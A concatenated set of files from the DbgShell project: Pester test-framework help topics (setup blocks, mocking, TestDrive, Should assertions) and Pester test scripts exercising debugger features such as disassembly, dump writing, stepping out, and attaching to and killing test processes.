================================================ FILE: DbgShell/x86/DbgShellTest/Pester/en-US/about_BeforeEach_AfterEach.help.txt ================================================ TOPIC about_BeforeEach_AfterEach SHORT DESCRIPTION Describes the BeforeEach and AfterEach commands, which run a set of commands that you specify before or after every It block. LONG DESCRIPTION The the BeforeEach and AfterEach commands in the Pester module let you define setup and teardown tasks that are performed at the beginning and end of every It block. This can eliminate duplication of code in test scripts, ensure that each test is performed on a pristine state regardless of their order, and perform any necessary clean-up tasks after each test. BeforeEach and AfterEach blocks may be defined inside of any Describe or Context. If they are present in both a Context and its parent Describe, BeforeEach blocks in the Describe scope are executed first, followed by BeforeEach blocks in the Context scope. AfterEach blocks are the reverse of this, with the Context AfterEach blocks executing before Describe. The script blocks assigned to BeforeEach and AfterEach are dot-sourced in the Context or Describe which contains the current It statement, so you don't have to worry about the scope of variable assignments. Any variables that are assigned values within a BeforeEach block can be used inside the body of the It block. BeforeAll and AfterAll are used the same way as BeforeEach and AfterEach, except that they are executed at the beginning and end of their containing Describe or Context block. This is essentially syntactic sugar for the following arrangement of code: Describe 'Something' { try { } finally { } } SYNTAX AND PLACEMENT Unlike most of the commands in a Pester script, BeforeEach, AfterEach, BeforeAll and AfterAll blocks apply to the entire Describe or Context scope in which they are defined, regardless of the order of commands inside the Describe or Context. In other words, even if an It block appears before BeforeEach or AfterEach in the tests file, the BeforeEach and AfterEach will still be executed. Likewise, BeforeAll code will be executed at the beginning of a Context or Describe block regardless of where it is found, and AfterAll code will execute at the end of the Context or Describe. EXAMPLES Describe 'Testing BeforeEach and AfterEach' { $afterEachVariable = 'AfterEach has not been executed yet' It 'Demonstrates that BeforeEach may be defined after the It command' { $beforeEachVariable | Should Be 'Set in a describe-scoped BeforeEach' $afterEachVariable | Should Be 'AfterEach has not been executed yet' $beforeAllVariable | Should Be 'BeforeAll has been executed' } It 'Demonstrates that AfterEach has executed after the end of the first test' { $afterEachVariable | Should Be 'AfterEach has been executed' } BeforeEach { $beforeEachVariable = 'Set in a describe-scoped BeforeEach' } AfterEach { $afterEachVariable = 'AfterEach has been executed' } BeforeAll { $beforeAllVariable = 'BeforeAll has been executed' } } SEE ALSO about_Pester about_Should about_Mocking about_TestDrive about_about_Try_Catch_Finally Describe Context Should It Invoke-Pester ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/en-US/about_Mocking.help.txt ================================================ TOPIC about_Mocking SHORT DESCRIPTION Pester provides a set of Mocking functions making it easy to fake dependencies and also to verify behavior. Using these mocking functions can allow you to "shim" a data layer or mock other complex functions that already have their own tests. LONG DESCRIPTION With the set of Mocking functions that Pester exposes, one can: - Mock the behavior of ANY PowerShell command. - Verify that specific commands were (or were not) called. - Verify the number of times a command was called with a set of specified parameters. MOCKING FUNCTIONS For detailed information about the functions in the Pester module, use Get-Help. Mock Mocks the behavior of an existing command with an alternate implementation. Assert-VerifiableMocks Checks if any Verifiable Mock has not been invoked. If so, this will throw an exception. Assert-MockCalled Checks if a Mocked command has been called a certain number of times and throws an exception if it has not. EXAMPLE function Build ($version) { Write-Host "a build was run for version: $version" } function BuildIfChanged { $thisVersion = Get-Version $nextVersion = Get-NextVersion if ($thisVersion -ne $nextVersion) { Build $nextVersion } return $nextVersion } $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace(".Tests.", ".") . "$here\$sut" Describe "BuildIfChanged" { Context "When there are Changes" { Mock Get-Version {return 1.1} Mock Get-NextVersion {return 1.2} Mock Build {} -Verifiable -ParameterFilter {$version -eq 1.2} $result = BuildIfChanged It "Builds the next version" { Assert-VerifiableMocks } It "returns the next version number" { $result | Should Be 1.2 } } Context "When there are no Changes" { Mock Get-Version { return 1.1 } Mock Get-NextVersion { return 1.1 } Mock Build {} $result = BuildIfChanged It "Should not build the next version" { Assert-MockCalled Build -Times 0 -ParameterFilter {$version -eq 1.1} } } } MOCKING CALLS TO COMMANDS MADE FROM INSIDE SCRIPT MODULES Let's say you have code like this inside a script module (.psm1 file): function BuildIfChanged { $thisVersion = Get-Version $nextVersion = Get-NextVersion if ($thisVersion -ne $nextVersion) { Build $nextVersion } return $nextVersion } function Build ($version) { Write-Host "a build was run for version: $version" } # Actual definitions of Get-Version and Get-NextVersion are not shown here, # since we'll just be mocking them anyway. However, the commands do need to # exist in order to be mocked, so we'll stick dummy functions here function Get-Version { return 0 } function Get-NextVersion { return 0 } Export-ModuleMember -Function BuildIfChanged Beginning in Pester 3.0, there are two ways to write a unit test for a module that mocks the calls to Get-Version and Get-NextVersion from the module's BuildIfChanged command. The first is to inject mocks into a module: In these examples, the PSM1 file, MyModule.psm1 is installed in $env:PSModulePath on the local computer. Import-Module MyModule Describe "BuildIfChanged" { Context "When there are Changes" { Mock -ModuleName MyModule Get-Version { return 1.1 } Mock -ModuleName MyModule Get-NextVersion { return 1.2 } # To demonstrate that you can mock calls to commands other than functions # defined in the same module, we'll mock a call to Write-Host. Mock -ModuleName MyModule Write-Host {} -Verifiable -ParameterFilter { $Object -eq 'a build was run for version: 1.2' } $result = BuildIfChanged It "Builds the next version and calls Write-Host" { Assert-VerifiableMocks } It "returns the next version number" { $result | Should Be 1.2 } } Context "When there are no Changes" { Mock -ModuleName MyModule Get-Version { return 1.1 } Mock -ModuleName MyModule Get-NextVersion { return 1.1 } Mock -ModuleName MyModule Build { } $result = BuildIfChanged It "Should not build the next version" { Assert-MockCalled Build -ModuleName MyModule -Times 0 -ParameterFilter { $version -eq 1.1 } } } } In this sample test script, all calls to Mock and Assert-MockCalled have the -ModuleName MyModule parameter added. This tells Pester to inject the mock into the module scope, which causes any calls to those commands from inside the module to execute the mock instead. When you write your test script this way, you can mock commands that are called by the module's internal functions. However, your test script is still limited to accessing the public, exported members of the module. For example, you could not call the Build function directly. The InModuleScope command causes entire sections of your test script to execute inside the targeted script module. This gives you access to unexported members of the module. For example: Import-Module MyModule Describe "Unit testing the module's internal Build function:" { InModuleScope MyModule { $testVersion = 5.0 Mock Write-Host { } Build $testVersion It 'Outputs the correct message' { Assert-MockCalled Write-Host -ParameterFilter { $Object -eq "a build was run for version: $testVersion" } } } } When using InModuleScope, you no longer need to specify a ModuleName parameter when calling Mock or Assert-MockCalled for commands in the module. You can also directly call the Build function that the module does not export. SEE ALSO Mock Assert-VerifiableMocks Assert-MockCalled InModuleScope Describe Context It The following articles are useful for further understanding of Pester Mocks. Pester Mock and Test Drive, by Jakub Jareš: http://www.powershellmagazine.com/2014/09/30/pester-mock-and-testdrive/ Pester and Mocking, by Mickey Gousset: http://www.systemcentercentral.com/day-53-pester-mocking/ Mocking Missing Cmdlets with Pester, by Iain Brighton: http://virtualengine.co.uk/2015/mocking-missing-cmdlets-with-pester/ Testing Mocked Output with Pester, by Steven Murawski: http://stevenmurawski.com/powershell/2014/02/testing-returned-objects-with-pester/ The following articles are useful for deeper understanding of Mocking in general. Answer to the Question "What is the Purpose of Mock Objects" by Bert F: http://stackoverflow.com/a/3623574/5514075 Mocks Aren't Stubs, by Martin Fowler: http://martinfowler.com/articles/mocksArentStubs.html The Art of Mocking, by Gil Zilberfeld: http://www.methodsandtools.com/archive/archive.php?id=122 ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/en-US/about_Pester.help.txt ================================================ TOPIC about_Pester SHORT DESCRIPTION Pester is a test framework for Windows PowerShell. Use the Pester language and its commands to write and run tests that verify that your scripts and modules work as designed. Pester 3.4.0 supports Windows PowerShell 2.0 and greater. LONG DESCRIPTION Pester introduces a professional test framework for Windows PowerShell commands. You can use Pester to test commands of any supported type, including scripts, cmdlets, functions, CIM commands, workflows, and DSC resources, and test these commands in modules of all types. Each Pester test compares actual to expected output using a collection of comparison operators that mirror the familiar operators in Windows PowerShell. In this way, Pester supports "dynamic testing", that is, it tests the code while it's running, instead of just evaluating code syntax ("static testing"). Once your Pester tests are written are verified to work correctly, you can run them automatically or on demand to verify that the output didn't change and that any code changes did not introduce errors. You can also add your tests to the build scripts of a continuous integration system, and add new tests at any time. WHAT CAN PESTER TEST? Pester is designed to support "test-driven development" (TDD), in which you write and run tests before writing your code, thereby using the test as a code specification. It also supports "behavior-driven development" (BDD), in which the tests verify the behavior and output of the code, and the user experience, independent of its implementation. This lets you change the implementation and use the test to verify that the behavior is unchanged. You can use Pester to write "unit tests" that test individual functions in isolation and "integration tests" that verify that functions can be used together to generate expected results. Pester creates and manages a temporary drive (PSDrive named TestDrive:) that you can use to simulate a file system. For more information, see about_TestDrive. Pester also has "mocking" commands that replace the actual output of commands with output that you specify. Mocking lets you test your commands with varied input without creating and maintaining fake entries in a file or database, or commenting-out and inserting code just for testing. For more information, see about_Mocking. THE PESTER LANGUAGE To make it easier to write tests, Pester uses a language especially designed for testing. This "domain-specific language" (DSL) hides the standard verb-noun syntax of PowerShell commands. To make the language more fluent, the command parameters are positional, so you don't typically use parameter names. For example, this "gets all widgets" test uses the Pester language, including its "It", "Should", and "Be" commands. The test verifies that the actual output of the Get-Widget cmdlet is the same as the expected value in the $allWidgets variables. It "gets all widgets" { Get-Widget | Should Be $allWidgets } To learn the Pester language, start by reading the following About and cmdlet help topics: -- Describe: Creates a required test container. -- Context: Creates an optional scoped test sub-container. -- It: Creates a test. -- about_Should Compares actual to expected values. This topic also lists all valid values of Be, which specify the comparison operator used in the test. HOW TO CREATE TEST FILES To start using Pester, create a script and a test file that tests the script. If you already have a script, you can create a test file for it. Pester test files are Windows PowerShell scripts with a .Tests.ps1 file name extension. The distinctive file name extension enables Pester to identify tests and distinguish them from other scripts. Typically, the test file and file it tests have the same base file name, such as: New-Log.ps1 New-Log.Tests.ps1 For a quick start, use the New-Fixture cmdlet in the Pester module. It creates a script with an empty function and a matching test file with a valid test. For example, this command creates a New-Log.ps1 script and a New-Log.Tests.ps1 test script in the C:\Scripts\LogScripts directory. New-Fixture -Path C:\Scripts\LogScripts -Name New-Log Directory: C:\Scripts\LogScripts Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/18/2016 9:51 AM 30 New-Log.ps1 -a---- 4/18/2016 9:51 AM 262 New-Log.Tests.ps1 The similar names do not automatically associate the test file and script file. The test file must include code to import ("dot-source") the functions, aliases, and variables in the script being tested into the scope of the test script. For example: . .\New-Log.ps1 -or- . C:\Scripts\LogScripts\New-Log.ps1 Many Pester test files, including the files that New-Fixture creates, begin with these statements. $here = Split-Path -Parent $MyInvocation.MyCommand.Path $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests\.', '.' . "$here\$sut" This code finds the current path of the test file at run time and saves it in the $here variable. Then, it finds the script based on the path in $here. This code assumes that the script has the same base name and is located in the same directory as the test file. You can use any code in the test file that finds the script, but be sure that the test file has the required *.Tests.ps1 file name extension. HOW TO RUN PESTER TESTS Pester tests are Windows PowerShell scripts (.ps1 files), so you can run them at the command line, or in any editor. Pester also has an Invoke-Pester cmdlet with useful parameters. By default, Invoke-Pester runs all the tests in a directory and all of its subdirectories recursively, but you can run selected tests by specifying a script name or name pattern, a test name, or a test tag. Invoke-Pester parameters also let you save the test output in NUnitXml or LegacyNUnitXml formats that are commonly used by reporting tools. For example, the following command runs all tests in the current directory and all subdirectories recursively. It writes output to the host, but does not generate any objects. Invoke-Pester In contrast, this command runs only the tests in the New-Log.Tests.ps1 file that have the 'EventVwr' tag. It writes the test results as custom objects and saves them in NUnitXml format in the NewLogTests.xml file. It also runs an optional code coverage test to verify that all lines in the script ran at least once during the tests. Invoke-Pester -Script C:\Tests\New-Log.Tests.ps1 ` -Tag EventVwr -OutputFile .\NewLogTests.xml -OutputFormat NUnitXml ` -CodeCoverage To run the New-Log.Tests.ps1 file that New-Fixture created, change to its local directory or a parent directory, and run Invoke-Pester. You can also use the Script parameter of Invoke-Pester to run only the New-Log.Tests.ps1 test. PS C:\Scripts> Invoke-Pester -Script .\New-Log.Tests.ps1 For more information about Invoke-Pester, type: Get-Help Invoke-Pester EXAMPLE For your first Pester test, use the New-Fixture cmdlet to create a script file and matching test file. For example: New-Fixture -Path C:\TestPester -Name Get-Hello Directory: C:\TestPester Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/18/2016 9:51 AM 30 Get-Hello.ps1 -a---- 4/18/2016 9:51 AM 262 Get-Hello.Tests.ps1 The Get-Hello.ps1 script contains an empty Get-Hello.ps1 function. function Get-Hello {} The Get-Hello.Tests.ps1 file contains an empty Pester test that is named for the Get-Hello function. Describe "Get-Hello" { It "does something useful" { $true | Should Be $false } } To run the test, use Invoke-Pester. For example, Invoke-Pester C:\TestPester When you run the test, it fails by design, because Should compares $True to $False using the equal operator ("Be") and $True doesn't equal $False. To start testing the Get-Hello function, change $True to Get-Hello and $False to "Hello". Now, the test compares the output of Get-Hello output to 'hello'. It should still fail, because Get-Hello doesn't return anything. Describe "New-Log" { It "does something useful" { Get-Hello | Should Be 'Hello' } } To make the test pass, change the Get-Hello function so it returns 'hello'. Then, in steps, change $False to more interesting values, then change the Get-Hello function output to make the test pass. You can also experiment with other comparison operators, such as the BeLike (supports wildcards) and BeExactly (case sensitive), and BeLikeExactly operators. For more, information about comparison operators in Pester, see about_Should. PESTER TEST OUTPUT When you run a test, Pester use a variation of Write-Host to write color-coded text to the console. You'll quickly learn to recognize the purple test names and green (passing) and red (failing) test results with the elapsed time of the test. Describing Get-Profile [+] Gets all profiles 156ms [+] Gets only profiles 24ms The output ends with a summary of the test results. Tests completed in 3.47s Passed: 20 Failed: 1 Skipped: 0 Pending: 0 Inconclusive: 0 However, because Pester uses Write-Host, it does not write to the output stream (stdout), so there are no output objects to save in a variable or redirect to a file. To direct Pester to create custom objects, use its PassThru parameter. The result is a single PSCustomObject with a TestResult property that one TestResult custom object for each test in the test file. To save the custom objects to a file, use the OutputFile and OutputFormat parameters of Invoke-Pester, which save the output in NUnitXml and LegacyNUnitXml formats that are easy to parse and commonly used by reporting tools. REAL-WORLD EXAMPLES For help in writing Pester tests, examine the extensive collection of tests that Pester uses to verify its Windows PowerShell code. To find the Pester tests in the Pester module directory, type: dir \*Tests.ps1 -Recurse -or- dir (Get-Module Pester -ListAvailable).ModuleBase -Include *Tests.ps1 -Recurse SEE ALSO Pester wiki: https://github.com/pester/pester/wiki Describe Context It New-Fixture Invoke-Pester about_Mocking about_Should about_TestDrive ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/en-US/about_TestDrive.help.txt ================================================ TOPIC about_TestDrive SHORT DESCRIPTION A PSDrive for file activity limited to the scope of a singe Describe or Context block. LONG DESCRIPTION A test may need to work with file operations and validate certain types of file activities. It is usually desirable not to perform file activity tests that will produce side effects outside of an individual test. Pester creates a PSDrive inside the user's temporary drive that is accessible via a names PSDrive TestDrive:. Pester will remove this drive after the test completes. You may use this drive to isolate the file operations of your test to a temporary store. EXAMPLE function Add-Footer($path, $footer) { Add-Content $path -Value $footer } Describe "Add-Footer" { $testPath="TestDrive:\test.txt" Set-Content $testPath -value "my test text." Add-Footer $testPath "-Footer" $result = Get-Content $testPath It "adds a footer" { (-join $result).Should.Be("my test text.-Footer") } } When this test completes, the contents of the TestDrive PSDrive will be removed. SEE ALSO Context Describe It about_Should ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/en-US/about_should.help.txt ================================================ TOPIC about_Should SHORT DESCRIPTION Provides assertion convenience methods for comparing objects and throwing test failures when test expectations fail. LONG DESCRIPTION Should is an Extension of System.Object and can be used as a native type inside Describe blocks. The various Should member methods can be invoked directly from an object being compared. It is typically used in individual It blocks to verify the results of an expectation. The Should method is typically called from the "actual" object being compared and takes the expected" object as a parameter. Should includes several members that perform various comparisons of objects and will throw a PesterFailure when the objects do not evaluate to be comparable. SHOULD MEMBERS Be Compares one object with another for equality and throws if the two objects are not the same. $actual="Actual value" $actual | Should Be "actual value" # Test will pass $actual | Should Be "not actual value" # Test will fail BeExactly Compares one object with another for equality and throws if the two objects are not the same. This comparison is case sensitive. $actual="Actual value" $actual | Should BeExactly "Actual value" # Test will pass $actual | Should BeExactly "actual value" # Test will fail BeGreaterThan Asserts that a number is greater than an expected value. Uses PowerShell's -gt operator to compare the two values. $Error.Count | Should BeGreaterThan 0 BeIn Asserts that a collection of values contain a specific value. Uses PowerShell's -contains operator to confirm. 1 | Should BeIn @(1,2,3,'a','b','c') BeLessThan Asserts that a number is less than an expected value. Uses PowerShell's -gt operator to compare the two values. $Error.Count | Should BeLessThan 1 BeLike Asserts that the actual value matches a wildcard pattern using PowerShell's -like operator. This comparison is not case-sensitive. $actual="Actual value" $actual | Should BeLike "actual *" # Test will pass $actual | Should BeLike "not actual *" # Test will fail BeLikeExactly Asserts that the actual value matches a wildcard pattern using PowerShell's -like operator. This comparison is case-sensitive. $actual="Actual value" $actual | Should BeLikeExactly "Actual *" # Test will pass $actual | Should BeLikeExactly "actual *" # Test will fail BeOfType Asserts that the actual value should be an object of a specified type (or a subclass of the specified type) using PowerShell's -is operator: $actual = Get-Item $env:SystemRoot $actual | Should BeOfType System.IO.DirectoryInfo # Test will pass; object is a DirectoryInfo $actual | Should BeOfType System.IO.FileSystemInfo # Test will pass; DirectoryInfo base class is FileSystemInfo $actual | Should BeOfType System.IO.FileInfo # Test will fail; FileInfo is not a base class of DirectoryInfo BeNullOrEmpty Checks values for null or empty (strings). The static [String]::IsNullOrEmpty() method is used to do the comparison. $null | Should BeNullOrEmpty # Test will pass $null | Should Not BeNullOrEmpty # Test will fail @() | Should BeNullOrEmpty # Test will pass "" | Should BeNullOrEmpty # Test will pass Exist Does not perform any comparison but checks if the object calling Exist is present in a PS Provider. The object must have valid path syntax. It essentially must pass a Test-Path call. $actual=(Dir . )[0].FullName Remove-Item $actual $actual | Should Exist # Test will fail Contain Checks to see if a file contains the specified text. This search is not case sensitive and uses regular expressions. Set-Content -Path TestDrive:\file.txt -Value 'I am a file.' 'TestDrive:\file.txt' | Should Contain 'I Am' # Test will pass 'TestDrive:\file.txt' | Should Contain '^I.*file$' # Test will pass 'TestDrive:\file.txt' | Should Contain 'I Am Not' # Test will fail Tip: Use [regex]::Escape("pattern") to match the exact text. Set-Content -Path TestDrive:\file.txt -Value 'I am a file.' 'TestDrive:\file.txt' | Should Contain 'I.am.a.file' # Test will pass 'TestDrive:\file.txt' | Should Contain ([regex]::Escape('I.am.a.file')) # Test will fail ContainExactly Checks to see if a file contains the specified text. This search is case sensitive and uses regular expressions to match the text. Set-Content -Path TestDrive:\file.txt -Value 'I am a file.' 'TestDrive:\file.txt' | Should Contain 'I am' # Test will pass 'TestDrive:\file.txt' | Should Contain 'I Am' # Test will fail Match Uses a regular expression to compare two objects. This comparison is not case sensitive. "I am a value" | Should Match "I Am" # Test will pass "I am a value" | Should Match "I am a bad person" # Test will fail Tip: Use [regex]::Escape("pattern") to match the exact text. "Greg" | Should Match ".reg" # Test will pass "Greg" | Should Match ([regex]::Escape(".reg")) # Test will fail MatchExactly Uses a regular expression to compare two objects. This comparison is case sensitive. "I am a value" | Should MatchExactly "I am" # Test will pass "I am a value" | Should MatchExactly "I Am" # Test will fail Throw Checks if an exception was thrown. Enclose input in a script block. { foo } | Should Throw # Test will pass { $foo = 1 } | Should Throw # Test will fail { foo } | Should Not Throw # Test will fail { $foo = 1 } | Should Not Throw # Test will pass Warning: The input object must be a ScriptBlock, otherwise it is processed outside of the assertion. Get-Process -Name "process" -ErrorAction Stop | Should Throw # Should pass, but the exception thrown by Get-Process causes the test to fail. NEGATIVE ASSERTIONS Any of the Should operators described above can be negated by using the word "Not" before the operator. For example: 'one' | Should Not Be 'Two' { Get-Item $env:SystemRoot } | Should Not Throw USING SHOULD IN A TEST function Add-Numbers($a, $b) { return $a + $b } Describe "Add-Numbers" { It "adds positive numbers" { $sum = Add-Numbers 2 3 $sum | Should Be 3 } } This test will fail since 3 will not be equal to the sum of 2 and 3. SEE ALSO Describe Context It ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/nunit_schema_2.5.xsd ================================================ ================================================ FILE: DbgShell/x86/DbgShellTest/TestManagedConsoleApp.exe.config ================================================ ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/Disasm.Tests.ps1 ================================================ Describe "Disasm" { pushd It "can disassemble" { New-TestApp -TestApp TestManagedConsoleApp -Attach -TargetName testApp -HiddenTargetWindow try { Set-DbgSymbolPath '' 3>&1 | Out-Null # ignore "empty symbol path" warning # Note that we redirect both error and warning streams to the output stream. $disasm = uf ((lm mscorlib_ni).BaseAddress) 2>&1 3>&1 $null -ne $disasm | Should Be $true # We should have gotten: # * MAYBE: a warning about not being able to verify a checksum, # * an error about not having symbols, # * MAYBE: a warning about flow analysis being incomplete, # * followed by disassembly [int] $idx = 0 if( $disasm[0] -is 'System.Management.Automation.WarningRecord' ) { $idx += 1 } ($disasm[$idx++] -is 'System.Management.Automation.ErrorRecord') | Should Be $true if( $disasm[$idx] -is 'System.Management.Automation.WarningRecord' ) { $idx += 1 } ($disasm[$idx++] -is 'MS.Dbg.DbgDisassembly') | Should Be $true # # That error should also be in $error. # Verify-AreEqual 1 ($global:error.Count) # $global:error.Clear() } finally { .kill } } popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/Dumps.Tests.ps1 ================================================ Describe "Dumps" { pushd It "can write dumps" { New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp -HiddenTargetWindow $dumpDir = "$($env:temp)\DbgShellTestDumps" function CleanDumpDir() { if( !(Test-Path $dumpDir) ) { $null = mkdir $dumpDir } else { del "$($dumpDir)\*" } } try { 1 | Should Be $Debugger.Targets.Count $Debugger.IsLive | Should Be $true CleanDumpDir $dumpPath = "$($dumpDir)\test.dmp" Write-DbgDumpFile -DumpFile $dumpPath -Comment "This is the dump comment" -Verbose .kill 0 | Should Be $Debugger.Targets.Count $Debugger.RecentNotifications.Clear() Mount-DbgDumpFile $dumpPath $Debugger.RecentNotifications 1 | Should Be $Debugger.Targets.Count $Debugger.IsLive | Should Be $false .kill } finally { if( $Debugger.Targets.Count -ne 0 ) { .kill } CleanDumpDir } } popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/Gu.Tests.ps1 ================================================ # Gu: "go up" Describe "Gu" { pushd It "can gu" { try { # Write-Host 'Testing that "gu" stays on the same thread...' -Back Blue -Fore White New-TestApp -TestApp TestNativeConsoleApp -SkipInitialBreakpoint -Arg 'twoThreadGuTest' -HiddenTargetWindow $threads = @( Find-DbgThread -WithStackText 'TwoThreadGuTest' ) $curThread = Get-DbgUModeThreadInfo -Current 2 | Should Be ($threads.Count) 0 | Should Be ($curThread.DebuggerId) ($threads[1].Stack.Frames.Function.Name.Contains( '_TwoThreadGuTestWorkerInner' )) | Should Be $true '_TwoThreadGuTestWorkerInner' | Should Be ($curThread.Stack.Frames[ 0 ].Function.Name) gu # Or: Resume-Process -ResumeType StepOut $threads = @( Find-DbgThread -WithStackText 'TwoThreadGuTest' ) $curThread = Get-DbgUModeThreadInfo -Current 1 | Should Be ($threads.Count) 0 | Should Be ($curThread.DebuggerId) '_TwoThreadGuTestWorker' | Should Be ($curThread.Stack.Frames[ 0 ].Function.Name) } finally { .kill } } popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/Kill.Tests.ps1 ================================================ Describe "Kill" { pushd It "can kill a non-exited process" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow .kill 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } It "can kill a process that has already exited" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow g .kill 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } It "can .abandon, re-attach, and .detach" { try { New-TestApp -TestApp TestNativeConsoleApp -Attach -HiddenTargetWindow $osPid = $debugger.GetProcessSystemId() # Let's switch to thread 0 and step a bit, just for fun. ~0 s p p p $savedIp = $ip .abandon $process = Get-Process -Id $osPid 0 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Be ((Get-Location).Path) # TODO: I'm seeing lots of problems getting "access denied" when re-attaching. A bit of # delay seems to help the problem, but not always (does the delay need to be longer?). Start-Sleep -Milliseconds 4000 #Write-Host " Trying to reconnect to pid $($osPid)" -Back Blue -Fore White Connect-Process -Id $osPid -Reattach $savedIp | Should Be $ip 1 | Should Be ($debugger.Targets.Count) 'Dbg:\' | Should Not Be ((Get-Location).Path) #Write-Host ' Detaching...' -Back Blue -Fore White .detach #Write-Host ' Waiting for exit...' -Back Blue -Fore White $itExited = $process.WaitForExit( 5000 ) $itExited | Should Be $true } catch { # This shouldn't be a problem if everything succeeded. If something blew up... # hopefully this will clean things up for subsequent tests. $debugger.EndSession( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_END]::PASSIVE ) throw } } popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/MultiProcDetachAttach.Tests.ps1 ================================================ Describe "MultiProcDetachAttach" { pushd New-TestApp -TestApp TestNativeConsoleApp -Attach -TargetName testApp1 -Arg 'Sleep 10000000' -HiddenTargetWindow $p1 = $debugger.GetCurrentTarget() It "can't have duplicate target names" { $($p1.TargetFriendlyName) | Should Be 'testApp1' [bool] $itThrew = $false try { New-TestApp -TestApp TestManagedConsoleApp -TargetName testApp1 -Arg 'Sleep 10000000' -HiddenTargetWindow } catch { $itThrew = $true # Expected. } $itThrew | Should Be $true } It "can attach to a second process, and detach/re-attach" { Write-Host "This test disabled until someone has time to get it working" -Fore Yellow if( $false ) { New-TestApp -TestApp TestManagedConsoleApp -Attach -TargetName testApp2 -Arg 'Sleep 10000000' -HiddenTargetWindow $p2 = $debugger.GetCurrentTarget() $($p2.TargetFriendlyName) | Should Be 'testApp2' $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $true cd Dbg:\testApp1 $((Get-Content Modules -TotalCount 1).Name) | Should Be 'TestNativeConsoleApp' $(Get-Content DbgEngSystemId) | Should Be ([System.UInt32] 0) $(Get-Content DbgEngProcessId) | Should Be ([System.UInt32] 0) cd Dbg:\testApp2 $((Get-Content Modules -TotalCount 1).Name) | Should Be 'TestManagedConsoleApp' $(Get-Content DbgEngSystemId) | Should Be ([System.UInt32] 0) $(Get-Content DbgEngProcessId) | Should Be ([System.UInt32] 1) $osPid1 = $p1.OsProcessId cd Dbg:\testApp1 .detach $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $false $dirs.Contains( 'testApp2' ) | Should Be $true Connect-Process -Id $osPid1 $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $true $osPid2 = $p2.OsProcessId $osPid1 -ne $osPid2 | Should Be $true cd Dbg:\testApp2 .detach $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $false Connect-Process -Id $osPid2 $dirs = dir Dbg:\ | %{ $_.Name } $dirs.Contains( 'testApp1' ) | Should Be $true $dirs.Contains( 'testApp2' ) | Should Be $true } # (end disabled portion) } # TODO: targeted kill .kill # We might not have gotten the second process off the ground. Let's not muddy up that # error with a botched .kill. if( $debugger.Targets.Count -gt 0 ) { .kill } popd } ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/NamespaceTests/ContentTests.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $a = New-Item a [string] $content1 = "hi" Set-Content a $content1 Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual $content1 (Get-Content a) Clear-Content a Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (Get-Content a) [guid] $content2 = [guid]::NewGuid() Set-Content a $content2 Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual $content2 (Get-Content a) $content = @( $content1, $content2 ) Set-Content a $content1 Add-Content a $content2 Verify-AreEqual 0 ($global:error.Count) function VerifyListsEquivalent( $l1, $l2 ) { Verify-AreEqual ($l1.Count) ($l2.Count) for( [int] $i = 0; $i -lt $l1.Count; $i++ ) { Verify-AreEqual ($l1[ $i ]) ($l2[ $i ]) } } $retrievedContent = Get-Content a VerifyListsEquivalent $content (Get-Content a) Verify-AreEqual 0 ($global:error.Count) VerifyListsEquivalent $content (Get-Content a -ReadCount 2) Verify-AreEqual 0 ($global:error.Count) VerifyListsEquivalent $content (Get-Content a -ReadCount 3) Verify-AreEqual 0 ($global:error.Count) VerifyListsEquivalent $content (Get-Content a -ReadCount 1) Verify-AreEqual 0 ($global:error.Count) Verify-AreEqual $content1 (Get-Content a -TotalCount 1) Verify-AreEqual 0 ($global:error.Count) # Apparently '-Tail' is only supported for the FileSystem provider. Hmph. #Verify-AreEqual $content2 (Get-Content a -Tail 1) #Verify-AreEqual 0 ($global:error.Count) Clear-Content a Verify-AreEqual 0 ($global:error.Count) Verify-IsNull (Get-Content a) ================================================ FILE: DbgShell/x86/DbgShellTest/Tests/NamespaceTests/CopyItem.ps1 ================================================ $global:error.Clear() $TestContext = Get-TestContext $aDir = mkdir a [void] (New-Item a\i1) [void] (New-Item a\i2) [void] (New-Item a\i3) $stuffInA = dir a Verify-AreEqual 3 $stuffInA.Count Verify-IsNull (dir b*) Copy-Item a b Verify-AreEqual 0 ($global:error.Count) # We didn't say -recurse, so we shouldn't have copied any of the child items. Verify-IsNull (dir b) 